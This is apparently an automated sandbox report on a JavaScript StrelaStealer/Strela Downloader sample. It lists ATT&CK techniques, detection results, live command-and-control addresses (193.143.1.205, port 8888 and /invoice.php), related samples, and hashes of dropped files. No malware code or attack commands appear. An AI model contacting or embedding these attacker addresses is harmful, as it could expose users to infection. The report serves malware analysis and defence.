Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
31068282522384212209.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/9-	0%	Avira URL Cloud	safe
http://193.143.1.205:8888//	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2750036786.0000024D5B000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1546271341.0000024D5AE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1547254013.0000021DE0ED8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1548849363.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1544561070.0000021DE0F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1549704736.0000021DE0F2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545021659.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/9-	net.exe, 00000007.00000002.1548849363.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545021659.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888//	net.exe, 00000007.00000002.1548849363.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545021659.0000021DE0F09000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588659
Start date and time:	2025-01-11 03:47:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	31068282522384212209.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 50.16.47.176, 20.109.210.53, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 31068282522384212209.js

Simulations

Behavior and APIs

Time	Type	Description
03:47:51	Task Scheduler	Run new task: {E0AFDA33-50A4-487C-95F6-A8EB4B34DA3B} path:
21:48:03	API Interceptor	38x Sleep call for process: powershell.exe modified
21:48:09	API Interceptor	1x Sleep call for process: net.exe modified
21:48:09	API Interceptor	2x Sleep call for process: svchost.exe modified
21:48:17	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3462260851125011899.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021676081142659
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAK:RJE+Lfki1GjHwU/+vVhWqpH
MD5:	64DA7F159A8BC71A5E55907CA38491B9
SHA1:	D9696682C4C77B2F63FA20E93B799E117A75A808
SHA-256:	277C7F6F90B5ED937EB456CB5B09192153A6A185E06336FC2FFA68BD5664089B
SHA-512:	190DC0B53F5407458C950AFF99E3909DD2371F352BC030D61DF32E3D013EF1D60400FDB7CEC2808C70FC3CFBE772C6D79C9163C6A27895B3773C8AEB1F3FE9E3
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x81c2f3ab, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433105770100483
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	DF26599D3B7C0C17B6C362199BDB623C
SHA1:	93AD7B362FA5F84BF1D53721EB5A9EE2031398F5
SHA-256:	03503482821931E23C1041A3AB795FBEF914163E616828738452C01099003EC3
SHA-512:	67A7AF717C8FE416E46512D42F83E5E47D93AC0FBCAA5297E5DEE77F589A1624C9E973B3520D4464241ACA6BE0F0A88BA6EED9397BC23C9B73B43FF711E3B287
Malicious:	false
Preview:	...... ...............X\...;...{......................0.x...... ...{s..0...}[.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................`.0...}{....................h.0...}[..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08045815220312551
Encrypted:	false
SSDEEP:	3:CmUYeYdqll/nqlFcl1ZUllllcNrbAllGBnX/l/Tj/k7/t:lUzCqll/qlFclQ/l6A254
MD5:	BD42E71CF7F83442581C8B922648F072
SHA1:	3297A8B92DBE3446882B6402DBD2E9B6DD098DDF
SHA-256:	0303B274815FCB7A4D0609A02D379F2495B5308880210E117E0B8FC11873EC7B
SHA-512:	5CD54D4A20B33D1AD5B630045DEFC557918C11627B29E9C4AB161734C03B694CEB328A409B78D153CF1538274143AA6A93A08DC8A4B479E8FECE7D023FDD8FBC
Malicious:	false
Preview:	O.h......................................;...{...0...}[.. ...{s.......... ...{s.. ...{s.P.... ...{s....................h.0...}[.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.19754225200766
Encrypted:	false
SSDEEP:	6:iO4qNUz+q2PCHhJ2nKuAl9OmbnIFUtSqNoZmwsqN4VkwOCHhJ2nKuAl9OmbjLJ:7kz+vBHAahFUtW/MV56HAaSJ
MD5:	6590BFB723B2733305F04EF2C213B456
SHA1:	8AB12926694E9EBE4BE948AE9DC4DA4C09CB2519
SHA-256:	D0DDABD8F3450B61AF498821DF293D279F66521725677B02FE6BE4158DBC3A58
SHA-512:	26F1B87D711D34D968871709DD8040CDE88917F3D480A4CDBCA6737125F023DE5897E5C2003F5B050F149082C14B6A818E8396B5A747775EE220BB48353D6BD0
Malicious:	false
Preview:	2025/01/10-21:48:09.849 c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:48:09.852 c4c Recovering log #3.2025/01/10-21:48:09.852 c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.19754225200766
Encrypted:	false
SSDEEP:	6:iO4qNUz+q2PCHhJ2nKuAl9OmbnIFUtSqNoZmwsqN4VkwOCHhJ2nKuAl9OmbjLJ:7kz+vBHAahFUtW/MV56HAaSJ
MD5:	6590BFB723B2733305F04EF2C213B456
SHA1:	8AB12926694E9EBE4BE948AE9DC4DA4C09CB2519
SHA-256:	D0DDABD8F3450B61AF498821DF293D279F66521725677B02FE6BE4158DBC3A58
SHA-512:	26F1B87D711D34D968871709DD8040CDE88917F3D480A4CDBCA6737125F023DE5897E5C2003F5B050F149082C14B6A818E8396B5A747775EE220BB48353D6BD0
Malicious:	false
Preview:	2025/01/10-21:48:09.849 c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:48:09.852 c4c Recovering log #3.2025/01/10-21:48:09.852 c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1871771026042355
Encrypted:	false
SSDEEP:	6:iO4qN4dGNcM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqN6u1JZmwsqN6u1cMVkwOCHV:7IEqM+vBHAa8uFUtFv//iMV56HAa8RJ
MD5:	365A568606CBA1E75467F436B7F19BDD
SHA1:	9E03C54039186970D89F786D2A222A49FE882827
SHA-256:	88B57B88CDE7B3F9821BEA5239F0DEB491F20990B80247D31709756025F7082F
SHA-512:	92879E7C3BD7572EB7779790589F2068CE70049D8634FAE6C339CBDE3C08FBA86765C0FED804A08EFB728CA6EF1859E80B300A1AA81004DACDA1E41042C980AA
Malicious:	false
Preview:	2025/01/10-21:48:09.881 1c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:48:09.883 1c6c Recovering log #3.2025/01/10-21:48:09.883 1c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1871771026042355
Encrypted:	false
SSDEEP:	6:iO4qN4dGNcM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqN6u1JZmwsqN6u1cMVkwOCHV:7IEqM+vBHAa8uFUtFv//iMV56HAa8RJ
MD5:	365A568606CBA1E75467F436B7F19BDD
SHA1:	9E03C54039186970D89F786D2A222A49FE882827
SHA-256:	88B57B88CDE7B3F9821BEA5239F0DEB491F20990B80247D31709756025F7082F
SHA-512:	92879E7C3BD7572EB7779790589F2068CE70049D8634FAE6C339CBDE3C08FBA86765C0FED804A08EFB728CA6EF1859E80B300A1AA81004DACDA1E41042C980AA
Malicious:	false
Preview:	2025/01/10-21:48:09.881 1c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:48:09.883 1c6c Recovering log #3.2025/01/10-21:48:09.883 1c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2dd17a07-028b-4c80-9128-ee54aff43477.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966073469579267
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGgxsBdOg2HHcaq3QYiub6P7E4T3y:Y2sRdsAidMHm3QYhbS7nby
MD5:	2FD2EE9DE4AE351B4997647B2E872C29
SHA1:	4C3C0C90E5C137240E4F1C5656ED290F59F351AF
SHA-256:	8991E732E3CDFDE42E1C0F5799BA4965C4E079AB4A3F8C5DBFE9DF1B4F7A5E9B
SHA-512:	30EEF3654CDDD9F3F7CA3F7A85B095480F4E8AB41C05FD06B5DD44037A60733CB0DA641FA33F97FB0CB465EE84A1ECF39982B3B9A4366B2EA6D191D4F4CB9822
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123701457908","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118078},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966073469579267
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGgxsBdOg2HHcaq3QYiub6P7E4T3y:Y2sRdsAidMHm3QYhbS7nby
MD5:	2FD2EE9DE4AE351B4997647B2E872C29
SHA1:	4C3C0C90E5C137240E4F1C5656ED290F59F351AF
SHA-256:	8991E732E3CDFDE42E1C0F5799BA4965C4E079AB4A3F8C5DBFE9DF1B4F7A5E9B
SHA-512:	30EEF3654CDDD9F3F7CA3F7A85B095480F4E8AB41C05FD06B5DD44037A60733CB0DA641FA33F97FB0CB465EE84A1ECF39982B3B9A4366B2EA6D191D4F4CB9822
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123701457908","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118078},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.233511555654424
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bkA4z9Rp:S43C4mS7fFi0KFYDjr3LWO3V3aw+bkA8
MD5:	3E3423977688EDD477589C326AF3C6E6
SHA1:	413EE75DD2B8408D9E223FE8541E686648C9DF79
SHA-256:	796EABA946CB741365E12235983A6B5FD0CF93666FFB2BBAF73D952F5FFBB553
SHA-512:	696C2EA790EAB5471918E21902DA35CEF9E2E361A8060E2BCC2377C0B13A6F6C0A42BF6011C77AB7570C6333A50BD74F0C1887872EC62ECA45BFD41E7AACEEDF
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.17011858915655
Encrypted:	false
SSDEEP:	6:iO4q+UEEcM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqsNJZmwsqffocMVkwOCHhJ2nKuP:79EpM+vBHAa8jFUts/nMV56HAa84J
MD5:	1C0A764A529FDA7232DF98C6633A0538
SHA1:	E765564A9DCE5E678FD4DC9C66316BCAD5E9F52D
SHA-256:	44C3F659E3077CEF34279BDB3E13DA98EEBDAF73526D2262EE612BD20D01F53B
SHA-512:	8C32047AC89595801851BEAD73032E4CDA55AA06369AEE78C10A527F901C364F1613225AEBDBF79F254CBC269E6D026FA51FE19DD4201FD780BD5CB16CFF49E3
Malicious:	false
Preview:	2025/01/10-21:48:10.308 1c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:48:10.323 1c6c Recovering log #3.2025/01/10-21:48:10.538 1c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.17011858915655
Encrypted:	false
SSDEEP:	6:iO4q+UEEcM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqsNJZmwsqffocMVkwOCHhJ2nKuP:79EpM+vBHAa8jFUts/nMV56HAa84J
MD5:	1C0A764A529FDA7232DF98C6633A0538
SHA1:	E765564A9DCE5E678FD4DC9C66316BCAD5E9F52D
SHA-256:	44C3F659E3077CEF34279BDB3E13DA98EEBDAF73526D2262EE612BD20D01F53B
SHA-512:	8C32047AC89595801851BEAD73032E4CDA55AA06369AEE78C10A527F901C364F1613225AEBDBF79F254CBC269E6D026FA51FE19DD4201FD780BD5CB16CFF49E3
Malicious:	false
Preview:	2025/01/10-21:48:10.308 1c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:48:10.323 1c6c Recovering log #3.2025/01/10-21:48:10.538 1c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
